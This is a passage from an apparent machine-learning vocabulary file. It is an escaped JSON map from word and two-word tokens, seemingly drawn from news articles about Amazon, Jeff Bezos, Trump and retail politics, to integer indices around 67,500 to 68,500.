67505,\n  \"remake\": 67506,\n  \"flood meme\": 67507,\n  \"shoelace lead\": 67508,\n  \"diesearch fortrump\": 67509,\n  \"credits including\": 67510,\n  \"battling deadly\": 67511,\n  \"based uni\": 67512,\n  \"publisher ami\": 67513,\n  \"rainier\": 67514,\n  \"support washington\": 67515,\n  \"groaned\": 67516,\n  \"delhi phishing\": 67517,\n  \"momentum going\": 67518,\n  \"downright frightening\": 67519,\n  \"warren trump\": 67520,\n  \"recallproximic nextvideourl\": 67521,\n  \"berkeley researchers\": 67522,\n  \"supervisory\": 67523,\n  \"communist sentiment\": 67524,\n  \"workers manage\": 67525,\n  \"billionaires seek\": 67526,\n  \"city taxpayers\": 67527,\n  \"disclaimer legal\": 67528,\n  \"preliminary investigations\": 67529,\n  \"story scientists\": 67530,\n  \"leanna\": 67531,\n  \"growing logistics\": 67532,\n  \"pricing earlier\": 67533,\n  \"environmentalists truck\": 67534,\n  \"inflating\": 67535,\n  \"carr\": 67536,\n  \"antitrust movement\": 67537,\n  \"goals\": 67538,\n  \"staff time\": 67539,\n  \"rebuffed canadian\": 67540,\n  \"packages olaoluwa\": 67541,\n  \"mega transportation\": 67542,\n  \"lewis\": 67543,\n  \"record championing\": 67544,\n  \"belmont voiced\": 67545,\n  \"costs\": 67546,\n  \"alabama medieval\": 67547,\n  \"trust men\": 67548,\n  \"expensive divorce\": 67549,\n  \"community focused\": 67550,\n  \"dismissive approach\": 67551,\n  \"sister head\": 67552,\n  \"behemoth left\": 67553,\n  \"brody works\": 67554,\n  \"clip king\": 67555,\n  \"rinds fda\": 67556,\n  \"president told\": 67557,\n  \"year look\": 67558,\n  \"alison chandler\": 67559,\n  \"surveillance 2018\": 67560,\n  \"herring\": 67561,\n  \"amazon previous\": 67562,\n  \"disclosure worked\": 67563,\n  \"say pen\": 67564,\n  \"begins regardless\": 67565,\n  \"times reached\": 67566,\n  \"ceiling donald\": 67567,\n  \"mcbride gloria\": 67568,\n  \"patriots\": 67569,\n  \"lit trump\": 67570,\n  \"liberal economic\": 67571,\n  \"officer brad\": 67572,\n  \"paso texas\": 67573,\n  \"adding employees\": 67574,\n  \"isolate north\": 67575,\n  \"delivering directly\": 67576,\n  \"censor\": 67577,\n  \"rep duncan\": 67578,\n  \"reviewing bezos\": 67579,\n  \"dumb dads\": 67580,\n  \"competition additionally\": 67581,\n  \"legislative days\": 67582,\n  \"washington source\": 67583,\n  \"trump events\": 67584,\n  \"world europe\": 67585,\n  \"adaptive learning\": 67586,\n  \"emerging\": 67587,\n  \"building trucks\": 67588,\n  \"redundancies\": 67589,\n  \"corporations offering\": 67590,\n  \"receive support\": 67591,\n  \"blurry\": 67592,\n  \"smart 2019\": 67593,\n  \"tradition state\": 67594,\n  \"traffic according\": 67595,\n  \"retail profit\": 67596,\n  \"mini funds\": 67597,\n  \"absence\": 67598,\n  \"insurance prescription\": 67599,\n  \"federation retail\": 67600,\n  \"anarchic fever\": 67601,\n  \"micron semiconductor\": 67602,\n  \"smart decision\": 67603,\n  \"company watch\": 67604,\n  \"writer danny\": 67605,\n  \"baby blue\": 67606,\n  \"public aims\": 67607,\n  \"impressive broad\": 67608,\n  \"carranza insight\": 67609,\n  \"killing\": 67610,\n  \"house official\": 67611,\n  \"better pay\": 67612,\n  \"filing actions\": 67613,\n  \"clear creating\": 67614,\n  \"dominate commerce\": 67615,\n  \"time tens\": 67616,\n  \"ceo penis\": 67617,\n  \"brennan double\": 67618,\n  \"align\": 67619,\n  \"anothergovernment\": 67620,\n  \"775\": 67621,\n  \"reasons bartlett\": 67622,\n  \"naz riz\": 67623,\n  \"int\": 67624,\n  \"content marvel\": 67625,\n  \"survey finds\": 67626,\n  \"government reagan\": 67627,\n  \"zuma\": 67628,\n  \"kota recently\": 67629,\n  \"include reading\": 67630,\n  \"aws fit\": 67631,\n  \"bds\": 67632,\n  \"times algeria\": 67633,\n  \"anecdotally\": 67634,\n  \"soy industry\": 67635,\n  \"lost proclaimed\": 67636,\n  \"commentcount\": 67637,\n  \"work uncovering\": 67638,\n  \"mining company\": 67639,\n  \"devout bowie\": 67640,\n  \"jfp97kdkbp jonathan\": 67641,\n  \"1oypfe9 new\": 67642,\n  \"dave brown\": 67643,\n  \"sent closed\": 67644,\n  \"spotlighted fierce\": 67645,\n  \"shareholders feel\": 67646,\n  \"politics edited\": 67647,\n  \"talks reuters\": 67648,\n  \"androids instead\": 67649,\n  \"building community\": 67650,\n  \"breakfast\": 67651,\n  \"hilary\": 67652,\n  \"follow bestproducts\": 67653,\n  \"investor held\": 67654,\n  \"absolutely love\": 67655,\n  \"life difficult\": 67656,\n  \"neat rows\": 67657,\n  \"chinese engineers\": 67658,\n  \"video originally\": 67659,\n  \"exclusive cnbc\": 67660,\n  \"champions art\": 67661,\n  \"null img_custom_credit\": 67662,\n  \"modern cloud\": 67663,\n  \"stage does\": 67664,\n  \"collective 659\": 67665,\n  \"violative\": 67666,\n  \"environment bolsonaro\": 67667,\n  \"corpse disposal\": 67668,\n  \"margie omero\": 67669,\n  \"wide latitude\": 67670,\n  \"rainforest logging\": 67671,\n  \"internet stores\": 67672,\n  \"award yes\": 67673,\n  \"require social\": 67674,\n  \"company loses\": 67675,\n  \"hell breaks\": 67676,\n  \"audible popular\": 67677,\n  \"wing nostrums\": 67678,\n  \"faces 300\": 67679,\n  \"holdings 100\": 67680,\n  \"customers quicker\": 67681,\n  \"second\": 67682,\n  \"story texas\": 67683,\n  \"techradar believe\": 67684,\n  \"tax increases\": 67685,\n  \"nat enquirer\": 67686,\n  \"slave owners\": 67687,\n  \"potential conflict\": 67688,\n  \"policy issues\": 67689,\n  \"financial corruption\": 67690,\n  \"substantive mutually\": 67691,\n  \"extradite\": 67692,\n  \"musk company\": 67693,\n  \"neighborhood selected\": 67694,\n  \"pales\": 67695,\n  \"campbell\": 67696,\n  \"51554477721\": 67697,\n  \"pretty bothered\": 67698,\n  \"stated federal\": 67699,\n  \"faring\": 67700,\n  \"vinyl\": 67701,\n  \"owens report\": 67702,\n  \"fee 119\": 67703,\n  \"record\": 67704,\n  \"cautiously optimistic\": 67705,\n  \"andrea lee\": 67706,\n  \"elite air\": 67707,\n  \"lake union\": 67708,\n  \"areas unlike\": 67709,\n  \"vulnerable communities\": 67710,\n  \"breaking wapo\": 67711,\n  \"senior director\": 67712,\n  \"shopping news\": 67713,\n  \"morgan rates\": 67714,\n  \"upend\": 67715,\n  \"radio entertainers\": 67716,\n  \"sammataro\": 67717,\n  \"puckette\": 67718,\n  \"sorkin writes\": 67719,\n  \"afp advertisement\": 67720,\n  \"legislation aimed\": 67721,\n  \"wireless fund\": 67722,\n  \"national opioid\": 67723,\n  \"raking\": 67724,\n  \"annual ranking\": 67725,\n  \"trademark sass\": 67726,\n  \"struggle trump\": 67727,\n  \"awards ceremony\": 67728,\n  \"recent expansion\": 67729,\n  \"senator lacks\": 67730,\n  \"disbanded motorheads\": 67731,\n  \"mock amazon\": 67732,\n  \"york usa\": 67733,\n  \"vote moderate\": 67734,\n  \"company value\": 67735,\n  \"bonus video\": 67736,\n  \"sections\": 67737,\n  \"time talking\": 67738,\n  \"employers facing\": 67739,\n  \"edelman synapse\": 67740,\n  \"proposed narrowing\": 67741,\n  \"schuster scrambles\": 67742,\n  \"2016 jarrett\": 67743,\n  \"capacity amazon\": 67744,\n  \"council known\": 67745,\n  \"company tomorrow\": 67746,\n  \"universally alphabet\": 67747,\n  \"gapping higher\": 67748,\n  \"brian\": 67749,\n  \"need don\": 67750,\n  \"canal\": 67751,\n  \"year heres\": 67752,\n  \"highly controversial\": 67753,\n  \"whimsical\": 67754,\n  \"cadillac\": 67755,\n  \"spur economic\": 67756,\n  \"worth 805\": 67757,\n  \"endorsement\": 67758,\n  \"cleanly shaven\": 67759,\n  \"complaints making\": 67760,\n  \"tijuana stories\": 67761,\n  \"dickerson\": 67762,\n  \"earnings rose\": 67763,\n  \"prices notably\": 67764,\n  \"jedi violates\": 67765,\n  \"tracks business\": 67766,\n  \"ditch campaign\": 67767,\n  \"nilly\": 67768,\n  \"information public\": 67769,\n  \"growth stories\": 67770,\n  \"enacted\": 67771,\n  \"crazy travel\": 67772,\n  \"opening preliminary\": 67773,\n  \"items beijing\": 67774,\n  \"house twitter\": 67775,\n  \"becker denies\": 67776,\n  \"bolsonaro appointees\": 67777,\n  \"speculation earlier\": 67778,\n  \"amazon push\": 67779,\n  \"resources including\": 67780,\n  \"edition congress\": 67781,\n  \"force records\": 67782,\n  \"future president\": 67783,\n  \"watch meeting\": 67784,\n  \"1920\": 67785,\n  \"deflationary forces\": 67786,\n  \"manager andrew\": 67787,\n  \"market terrorism\": 67788,\n  \"regulatory plan\": 67789,\n  \"harsh criticism\": 67790,\n  \"logistics depot\": 67791,\n  \"landed\": 67792,\n  \"fisa application\": 67793,\n  \"times america\": 67794,\n  \"don decide\": 67795,\n  \"retail headlineplaintext\": 67796,\n  \"entertainment resorts\": 67797,\n  \"elections highlights\": 67798,\n  \"bezos feuding\": 67799,\n  \"delaware\": 67800,\n  \"solve\": 67801,\n  \"hour including\": 67802,\n  \"started carrying\": 67803,\n  \"trillions globally\": 67804,\n  \"bezo joked\": 67805,\n  \"conflict created\": 67806,\n  \"fulfils\": 67807,\n  \"balance does\": 67808,\n  \"suggested house\": 67809,\n  \"dress designer\": 67810,\n  \"defend hush\": 67811,\n  \"behaviors expectations\": 67812,\n  \"device appears\": 67813,\n  \"article clearly\": 67814,\n  \"consumers convenient\": 67815,\n  \"review amid\": 67816,\n  \"real mess\": 67817,\n  \"bigbusiness\": 67818,\n  \"2019 fool\": 67819,\n  \"sales offers\": 67820,\n  \"confidential information\": 67821,\n  \"extended hiatus\": 67822,\n  \"cnn president\": 67823,\n  \"morning america\": 67824,\n  \"legal scholars\": 67825,\n  \"company commerce\": 67826,\n  \"maga lions\": 67827,\n  \"fuel efficient\": 67828,\n  \"auto market\": 67829,\n  \"overall experience\": 67830,\n  \"deforestation story\": 67831,\n  \"international law\": 67832,\n  \"house minority\": 67833,\n  \"conditions trump\": 67834,\n  \"ami claiming\": 67835,\n  \"iww group\": 67836,\n  \"innovation pipeline\": 67837,\n  \"values institute\": 67838,\n  \"cbs\": 67839,\n  \"bezos bank\": 67840,\n  \"chemicals critics\": 67841,\n  \"moments switzerland\": 67842,\n  \"2017 great\": 67843,\n  \"ari ezra\": 67844,\n  \"pamies\": 67845,\n  \"it09_trump_051818_ap jpg\": 67846,\n  \"dent cnn\": 67847,\n  \"approach using\": 67848,\n  \"distraught\": 67849,\n  \"iol business\": 67850,\n  \"responder pages\": 67851,\n  \"suggesting nfl\": 67852,\n  \"catastrophic effects\": 67853,\n  \"clearly colluding\": 67854,\n  \"usps wants\": 67855,\n  \"physical facility\": 67856,\n  \"wage low\": 67857,\n  \"injury fox\": 67858,\n  \"heis going\": 67859,\n  \"early action\": 67860,\n  \"news flash\": 67861,\n  \"won awards\": 67862,\n  \"doctors improving\": 67863,\n  \"andover town\": 67864,\n  \"today detailing\": 67865,\n  \"mathison\": 67866,\n  \"rainey rebecca\": 67867,\n  \"perspectives\": 67868,\n  \"huge victory\": 67869,\n  \"environmental ngos\": 67870,\n  \"shareholders sent\": 67871,\n  \"blamed\": 67872,\n  \"important right\": 67873,\n  \"medallist steven\": 67874,\n  \"economist amazon\": 67875,\n  \"bravely\": 67876,\n  \"400 trailing\": 67877,\n  \"inhumans\": 67878,\n  \"information chris\": 67879,\n  \"botched israeli\": 67880,\n  \"heard amazon\": 67881,\n  \"day vanessa\": 67882,\n  \"valley struggles\": 67883,\n  \"saddle\": 67884,\n  \"credible evidence\": 67885,\n  \"facebook deletes\": 67886,\n  \"bel air\": 67887,\n  \"million tiger\": 67888,\n  \"local startups\": 67889,\n  \"msnbc analyst\": 67890,\n  \"critics\": 67891,\n  \"expect jeff\": 67892,\n  \"gather\": 67893,\n  \"amazon enters\": 67894,\n  \"aileen\": 67895,\n  \"geheimzinnige\": 67896,\n  \"d22nv8evmr3d8f\": 67897,\n  \"ownership hedge\": 67898,\n  \"amazon shares\": 67899,\n  \"shade called\": 67900,\n  \"charge amazon\": 67901,\n  \"89m\": 67902,\n  \"jpg 100x100\": 67903,\n  \"deal passed\": 67904,\n  \"equity funds\": 67905,\n  \"vision passions\": 67906,\n  \"ramsey jan\": 67907,\n  \"modestly impacted\": 67908,\n  \"upper class\": 67909,\n  \"stone wife\": 67910,\n  \"face higher\": 67911,\n  \"philip van\": 67912,\n  \"steve downer\": 67913,\n  \"mortgage completely\": 67914,\n  \"kimmel trump\": 67915,\n  \"package pricing\": 67916,\n  \"worker wrote\": 67917,\n  \"contender amy\": 67918,\n  \"sizable market\": 67919,\n  \"amazon greer\": 67920,\n  \"1977 picture\": 67921,\n  \"harrigan insidesources\": 67922,\n  \"stock crushed\": 67923,\n  \"intact bolsonaro\": 67924,\n  \"coach\": 67925,\n  \"training business\": 67926,\n  \"127\": 67927,\n  \"doubt need\": 67928,\n  \"entertainment holding\": 67929,\n  \"ground including\": 67930,\n  \"chairwoman nita\": 67931,\n  \"100vw 650px\": 67932,\n  \"disclosed story\": 67933,\n  \"2020 advisory\": 67934,\n  \"z\\u00e9lie adebola\": 67935,\n  \"repeatedly stomped\": 67936,\n  \"elected speaker\": 67937,\n  \"station jovem\": 67938,\n  \"denied targeting\": 67939,\n  \"interview kevin\": 67940,\n  \"sorting program\": 67941,\n  \"help curry\": 67942,\n  \"today amazon\": 67943,\n  \"reasons rep\": 67944,\n  \"core commerce\": 67945,\n  \"homecoming starring\": 67946,\n  \"frankly vomit\": 67947,\n  \"hometown paper\": 67948,\n  \"actually true\": 67949,\n  \"report hits\": 67950,\n  \"leaving\": 67951,\n  \"bernard clair\": 67952,\n  \"scam corporate\": 67953,\n  \"finally open\": 67954,\n  \"area tech\": 67955,\n  \"sophie\": 67956,\n  \"crisis yemen\": 67957,\n  \"poses risks\": 67958,\n  \"retail shopping\": 67959,\n  \"network kennedy\": 67960,\n  \"impassioned\": 67961,\n  \"horror story\": 67962,\n  \"string lights\": 67963,\n  \"santacon nyc\": 67964,\n  \"sourceamazon\": 67965,\n  \"year mistake\": 67966,\n  \"indian origin\": 67967,\n  \"music herera\": 67968,\n  \"writers joseph\": 67969,\n  \"constitutional amendment\": 67970,\n  \"kill agreements\": 67971,\n  \"soon robots\": 67972,\n  \"novel follows\": 67973,\n  \"structural change\": 67974,\n  \"narrow pretty\": 67975,\n  \"scum rulings\": 67976,\n  \"educate parents\": 67977,\n  \"shippers sent\": 67978,\n  \"hiring 2018\": 67979,\n  \"students experiences\": 67980,\n  \"trump hanson\": 67981,\n  \"futureworks\": 67982,\n  \"resettlement live\": 67983,\n  \"boost mobile\": 67984,\n  \"prevent sellers\": 67985,\n  \"excellent wine\": 67986,\n  \"community pointed\": 67987,\n  \"candidates bezos\": 67988,\n  \"phone calls\": 67989,\n  \"social cmpid\": 67990,\n  \"phone latest\": 67991,\n  \"free tommy\": 67992,\n  \"greatly\": 67993,\n  \"leadership according\": 67994,\n  \"trump stories\": 67995,\n  \"shoot arctic2\": 67996,\n  \"combs posted\": 67997,\n  \"lawyer jon\": 67998,\n  \"global outrage\": 67999,\n  \"jack dromey\": 68000,\n  \"minimization framework\": 68001,\n  \"schneider republicans\": 68002,\n  \"yearly average\": 68003,\n  \"public television\": 68004,\n  \"bragging\": 68005,\n  \"america competed\": 68006,\n  \"rights council\": 68007,\n  \"cohen crazy\": 68008,\n  \"partnerships trump\": 68009,\n  \"mad genius\": 68010,\n  \"morgan thank\": 68011,\n  \"holocaust poem\": 68012,\n  \"americans writes\": 68013,\n  \"guys herera\": 68014,\n  \"getty_173218731_200015422000928060_388160\": 68015,\n  \"western leather\": 68016,\n  \"homeless\": 68017,\n  \"states\": 68018,\n  \"includes new\": 68019,\n  \"teammates\": 68020,\n  \"dynamic applies\": 68021,\n  \"precious oxygen\": 68022,\n  \"luhnow jos\\u00e9\": 68023,\n  \"unlike trump\": 68024,\n  \"honesty\": 68025,\n  \"misspellings jon\": 68026,\n  \"toilet\": 68027,\n  \"initiatives just\": 68028,\n  \"practices sanders\": 68029,\n  \"censorship corruption\": 68030,\n  \"trade trump\": 68031,\n  \"discloses fresh\": 68032,\n  \"ajaypal\": 68033,\n  \"tax software\": 68034,\n  \"animates\": 68035,\n  \"bother\": 68036,\n  \"government prosecutor\": 68037,\n  \"deviled egg\": 68038,\n  \"worth taking\": 68039,\n  \"albertalli check\": 68040,\n  \"observed usps\": 68041,\n  \"special interests\": 68042,\n  \"juncker worked\": 68043,\n  \"editors learned\": 68044,\n  \"utm_term ba80967b7e99\": 68045,\n  \"secures\": 68046,\n  \"based fees\": 68047,\n  \"shareholder value\": 68048,\n  \"properly past\": 68049,\n  \"fees reducing\": 68050,\n  \"life incidents\": 68051,\n  \"maxine\": 68052,\n  \"rocket launch\": 68053,\n  \"rami levy\": 68054,\n  \"offhandedly accusing\": 68055,\n  \"wikipedia president\": 68056,\n  \"access michael\": 68057,\n  \"terkel prize\": 68058,\n  \"evening california\": 68059,\n  \"potentially cost\": 68060,\n  \"ordered shirts\": 68061,\n  \"giles amazon\": 68062,\n  \"goods including\": 68063,\n  \"effective momentum\": 68064,\n  \"nation pay\": 68065,\n  \"digit increases\": 68066,\n  \"couple years\": 68067,\n  \"sabotaged\": 68068,\n  \"thrilled posted\": 68069,\n  \"accuses media\": 68070,\n  \"neverland documentary\": 68071,\n  \"defense systems\": 68072,\n  \"andrew kaczynski\": 68073,\n  \"network optimization\": 68074,\n  \"amazon light\": 68075,\n  \"marne\": 68076,\n  \"robinson tributes\": 68077,\n  \"marketing department\": 68078,\n  \"driven individual\": 68079,\n  \"effectively trump\": 68080,\n  \"screeching anti\": 68081,\n  \"cracks\": 68082,\n  \"company investor\": 68083,\n  \"sarayu blue\": 68084,\n  \"human place\": 68085,\n  \"2018 domo\": 68086,\n  \"plus complete\": 68087,\n  \"rapid growth\": 68088,\n  \"pick steve\": 68089,\n  \"kellys\": 68090,\n  \"nang\": 68091,\n  \"spot shot\": 68092,\n  \"achtung baby\": 68093,\n  \"president look\": 68094,\n  \"cps\": 68095,\n  \"state highest\": 68096,\n  \"feistier\": 68097,\n  \"witches asylums\": 68098,\n  \"hq2 fallout\": 68099,\n  \"stock investment\": 68100,\n  \"ensnared\": 68101,\n  \"blogs\": 68102,\n  \"tucson arizona\": 68103,\n  \"senate antitrust\": 68104,\n  \"cdc_4594963233aeb9189cdc41a8_embed html\": 68105,\n  \"topped harris\": 68106,\n  \"transporting\": 68107,\n  \"ruthlessness\": 68108,\n  \"world subsidize\": 68109,\n  \"ago buzzfeed\": 68110,\n  \"frey\": 68111,\n  \"minimizing\": 68112,\n  \"paris rosenthal\": 68113,\n  \"harassment charges\": 68114,\n  \"referendum swiss\": 68115,\n  \"geoffrey berman\": 68116,\n  \"days sanders\": 68117,\n  \"including naked\": 68118,\n  \"p8 f4\": 68119,\n  \"silence today\": 68120,\n  \"technician watch\": 68121,\n  \"ranking staff\": 68122,\n  \"strangled\": 68123,\n  \"story romney\": 68124,\n  \"galley copy\": 68125,\n  \"extremely controversial\": 68126,\n  \"profits great\": 68127,\n  \"grades\": 68128,\n  \"phone design\": 68129,\n  \"websocket connection\": 68130,\n  \"executive authority\": 68131,\n  \"built amazon\": 68132,\n  \"fascinating writer\": 68133,\n  \"america favorite\": 68134,\n  \"carry extraordinary\": 68135,\n  \"includes shares\": 68136,\n  \"cash positions\": 68137,\n  \"hqs\": 68138,\n  \"commandeer\": 68139,\n  \"judge ruled\": 68140,\n  \"really hates\": 68141,\n  \"asking permission\": 68142,\n  \"564 shares\": 68143,\n  \"giant technology\": 68144,\n  \"demand strict\": 68145,\n  \"lim\": 68146,\n  \"gardner adds\": 68147,\n  \"spain spanish\": 68148,\n  \"despite president\": 68149,\n  \"bought\": 68150,\n  \"lebron james\": 68151,\n  \"people eat\": 68152,\n  \"late 1998\": 68153,\n  \"retailer channel\": 68154,\n  \"commerce omnichannel\": 68155,\n  \"horror marathon\": 68156,\n  \"smugglers\": 68157,\n  \"collectively accounting\": 68158,\n  \"revolt sinking\": 68159,\n  \"colored flowers\": 68160,\n  \"tax controversies\": 68161,\n  \"giving hot\": 68162,\n  \"asian horror\": 68163,\n  \"president push\": 68164,\n  \"amazon invited\": 68165,\n  \"101 stranger\": 68166,\n  \"million powerball\": 68167,\n  \"kill business\": 68168,\n  \"story tough\": 68169,\n  \"abuse crisis\": 68170,\n  \"columns pointedly\": 68171,\n  \"significant effort\": 68172,\n  \"assistant\": 68173,\n  \"sickens\": 68174,\n  \"teenager molly\": 68175,\n  \"sas invested\": 68176,\n  \"house event\": 68177,\n  \"democratic sweep\": 68178,\n  \"overview symbol\": 68179,\n  \"add outlets\": 68180,\n  \"trump visited\": 68181,\n  \"regulatorsabout\": 68182,\n  \"company rq\": 68183,\n  \"strategic licensing\": 68184,\n  \"impeachment isn\": 68185,\n  \"ami long\": 68186,\n  \"counterfeit sellers\": 68187,\n  \"rep marsha\": 68188,\n  \"council annual\": 68189,\n  \"surveillance capitalism\": 68190,\n  \"lobbying costs\": 68191,\n  \"sanchez los\": 68192,\n  \"including love\": 68193,\n  \"giant intel\": 68194,\n  \"north african\": 68195,\n  \"bushel\": 68196,\n  \"markham\": 68197,\n  \"teach advanced\": 68198,\n  \"harpooning\": 68199,\n  \"fed speak\": 68200,\n  \"huseman amazon\": 68201,\n  \"hacking campaign\": 68202,\n  \"hold hearings\": 68203,\n  \"aclu test\": 68204,\n  \"evening briefing\": 68205,\n  \"tuft\": 68206,\n  \"catherine nolan\": 68207,\n  \"228648 228608\": 68208,\n  \"building equinox\": 68209,\n  \"reserve bank\": 68210,\n  \"dark clouds\": 68211,\n  \"politics steven\": 68212,\n  \"journalist team\": 68213,\n  \"house set\": 68214,\n  \"google technology\": 68215,\n  \"web overall\": 68216,\n  \"wichita\": 68217,\n  \"lcso deputy\": 68218,\n  \"officially called\": 68219,\n  \"universities organized\": 68220,\n  \"2017 according\": 68221,\n  \"wage jobs\": 68222,\n  \"terribly wrong\": 68223,\n  \"bobby kennedy\": 68224,\n  \"order certain\": 68225,\n  \"house lit\": 68226,\n  \"investment amazon\": 68227,\n  \"solution selected\": 68228,\n  \"hett danhett\": 68229,\n  \"tail retail\": 68230,\n  \"somodevilla staff\": 68231,\n  \"indisputably\": 68232,\n  \"appointed swath\": 68233,\n  \"asset limited\": 68234,\n  \"planning whatis\": 68235,\n  \"assembler\": 68236,\n  \"million purchase\": 68237,\n  \"bottled\": 68238,\n  \"welldocumented\": 68239,\n  \"make uber\": 68240,\n  \"implant surface\": 68241,\n  \"spencersoper\": 68242,\n  \"media titled\": 68243,\n  \"email click\": 68244,\n  \"foods supermarkets\": 68245,\n  \"work doubt\": 68246,\n  \"winning best\": 68247,\n  \"marginalized populations\": 68248,\n  \"grows video\": 68249,\n  \"tray\": 68250,\n  \"critics nationwide\": 68251,\n  \"repatriated money\": 68252,\n  \"chastain speaks\": 68253,\n  \"law continues\": 68254,\n  \"sweeping view\": 68255,\n  \"online unless\": 68256,\n  \"newly forming\": 68257,\n  \"1014188835465580544\": 68258,\n  \"enormously profitable\": 68259,\n  \"compounds denoting\": 68260,\n  \"subordinate\": 68261,\n  \"gurr assessment\": 68262,\n  \"teams conducting\": 68263,\n  \"creating massive\": 68264,\n  \"news amnesty\": 68265,\n  \"setisvideocollection true\": 68266,\n  \"inspirational words\": 68267,\n  \"fueled rising\": 68268,\n  \"trump sitting\": 68269,\n  \"satire unpublishable\": 68270,\n  \"vogt\": 68271,\n  \"carmakers control\": 68272,\n  \"themes sexuality\": 68273,\n  \"recent years\": 68274,\n  \"mounting paranoia\": 68275,\n  \"tax share\": 68276,\n  \"design manipulating\": 68277,\n  \"allegations including\": 68278,\n  \"intensify\": 68279,\n  \"v1 wsfolders\": 68280,\n  \"hearing huseman\": 68281,\n  \"fundamental schism\": 68282,\n  \"critical leverage\": 68283,\n  \"security washington\": 68284,\n  \"appearance embedded\": 68285,\n  \"objects watching\": 68286,\n  \"cheap right\": 68287,\n  \"alarming phone\": 68288,\n  \"services companies\": 68289,\n  \"mclaughlin\": 68290,\n  \"yeh\": 68291,\n  \"sacramento calif\": 68292,\n  \"story fakes\": 68293,\n  \"early losses\": 68294,\n  \"selling deals\": 68295,\n  \"jr did\": 68296,\n  \"monumental horror\": 68297,\n  \"division previously\": 68298,\n  \"allende\": 68299,\n  \"american worker\": 68300,\n  \"claimed credit\": 68301,\n  \"metz talks\": 68302,\n  \"diaper bank\": 68303,\n  \"state enduring\": 68304,\n  \"open sourcewhether\": 68305,\n  \"warehouse employees\": 68306,\n  \"quinnipiac survey\": 68307,\n  \"read william\": 68308,\n  \"investors responded\": 68309,\n  \"les jarrett\": 68310,\n  \"criticized opponents\": 68311,\n  \"group success\": 68312,\n  \"gunpoint 2019\": 68313,\n  \"undue burdens\": 68314,\n  \"clinton correctional\": 68315,\n  \"drone assassinations\": 68316,\n  \"prices competitors\": 68317,\n  \"owns 454\": 68318,\n  \"china government\": 68319,\n  \"291 million\": 68320,\n  \"migrant\": 68321,\n  \"riled\": 68322,\n  \"political divisions\": 68323,\n  \"showed tremendous\": 68324,\n  \"exaggerated\": 68325,\n  \"hamburger\": 68326,\n  \"giving business\": 68327,\n  \"accredited testing\": 68328,\n  \"earlier remarks\": 68329,\n  \"ap explains\": 68330,\n  \"jets leased\": 68331,\n  \"spiraling lower\": 68332,\n  \"cover pre\": 68333,\n  \"prevent government\": 68334,\n  \"000 trump\": 68335,\n  \"aids epidemic\": 68336,\n  \"marketing ploy\": 68337,\n  \"large swathes\": 68338,\n  \"mizuno\": 68339,\n  \"convicted\": 68340,\n  \"alcoholics\": 68341,\n  \"post feel\": 68342,\n  \"american apparel\": 68343,\n  \"excessively bearish\": 68344,\n  \"york conundrum\": 68345,\n  \"zuckerberg ahead\": 68346,\n  \"illegally colluding\": 68347,\n  \"processors\": 68348,\n  \"alongside growing\": 68349,\n  \"perspective firms\": 68350,\n  \"cbs interactive\": 68351,\n  \"\\u0627\\u062d nahit\": 68352,\n  \"strategic shift\": 68353,\n  \"smith sneaky\": 68354,\n  \"recommendations read\": 68355,\n  \"williston\": 68356,\n  \"make funding\": 68357,\n  \"party congressional\": 68358,\n  \"precarity\": 68359,\n  \"crisis commander\": 68360,\n  \"primary special\": 68361,\n  \"thiel vocal\": 68362,\n  \"mother nature\": 68363,\n  \"fave fave\": 68364,\n  \"understand san\": 68365,\n  \"operationally\": 68366,\n  \"longtime pal\": 68367,\n  \"cloud strategy\": 68368,\n  \"952\": 68369,\n  \"just throw\": 68370,\n  \"movie theaters\": 68371,\n  \"expecteded\": 68372,\n  \"tech tax\": 68373,\n  \"distinct lack\": 68374,\n  \"moreabout bolduan\": 68375,\n  \"renegotiate deals\": 68376,\n  \"wages escalated\": 68377,\n  \"monte\": 68378,\n  \"deranged amazon\": 68379,\n  \"person called\": 68380,\n  \"toiletry look\": 68381,\n  \"saudi publicist\": 68382,\n  \"billionaire david\": 68383,\n  \"ballston\": 68384,\n  \"tariffs took\": 68385,\n  \"officer testifies\": 68386,\n  \"subwaybikes\": 68387,\n  \"evidence contrary\": 68388,\n  \"dominate freighter\": 68389,\n  \"fear reforms\": 68390,\n  \"legal notice\": 68391,\n  \"alleged culprits\": 68392,\n  \"numerous physical\": 68393,\n  \"conducted ballistic\": 68394,\n  \"barre secretary\": 68395,\n  \"appears dwarfed\": 68396,\n  \"recent twitter\": 68397,\n  \"company seattle\": 68398,\n  \"help revitalize\": 68399,\n  \"photo facebook\": 68400,\n  \"trump despite\": 68401,\n  \"executives announced\": 68402,\n  \"outdid\": 68403,\n  \"idea instead\": 68404,\n  \"office declining\": 68405,\n  \"influence doesn\": 68406,\n  \"specifically meant\": 68407,\n  \"hofstadter\": 68408,\n  \"rights land\": 68409,\n  \"allows amazon\": 68410,\n  \"limousines 2018\": 68411,\n  \"va maxsa\": 68412,\n  \"money say\": 68413,\n  \"reportedly include\": 68414,\n  \"633 3119\": 68415,\n  \"original seattle\": 68416,\n  \"plans gop\": 68417,\n  \"gurr met\": 68418,\n  \"isn just\": 68419,\n  \"destroy missile\": 68420,\n  \"\\u0627\\u0644\\u0628\\u0639\\u064a\\u062f rty48517017\": 68421,\n  \"rich company\": 68422,\n  \"suggesting ami\": 68423,\n  \"_items jquery\": 68424,\n  \"sorted dose\": 68425,\n  \"university hoover\": 68426,\n  \"2018 indiewire\": 68427,\n  \"pez\": 68428,\n  \"additionally blamed\": 68429,\n  \"beauty pageant\": 68430,\n  \"dyslexia friendly\": 68431,\n  \"conflicts\": 68432,\n  \"ryan love\": 68433,\n  \"expanded government\": 68434,\n  \"artistic director\": 68435,\n  \"brit wit\": 68436,\n  \"pacquiao balboa\": 68437,\n  \"paid additional\": 68438,\n  \"knowledge really\": 68439,\n  \"changer 2018\": 68440,\n  \"firingillegal\": 68441,\n  \"jccoltin\": 68442,\n  \"far suggests\": 68443,\n  \"companies amzn\": 68444,\n  \"newsletter\": 68445,\n  \"969 bochy\": 68446,\n  \"chicago board\": 68447,\n  \"adds 196\": 68448,\n  \"illusion\": 68449,\n  \"higher salaries\": 68450,\n  \"factual\": 68451,\n  \"rising credit\": 68452,\n  \"force icann\": 68453,\n  \"countries slammed\": 68454,\n  \"jedi negotiations\": 68455,\n  \"fires florida\": 68456,\n  \"rejection barracoon\": 68457,\n  \"drama set\": 68458,\n  \"great rare\": 68459,\n  \"runs interference\": 68460,\n  \"lerner\": 68461,\n  \"majordomo\": 68462,\n  \"backing necessary\": 68463,\n  \"remained deadlocked\": 68464,\n  \"times states\": 68465,\n  \"second debate\": 68466,\n  \"aed practice\": 68467,\n  \"mass protests\": 68468,\n  \"nonchalantly walked\": 68469,\n  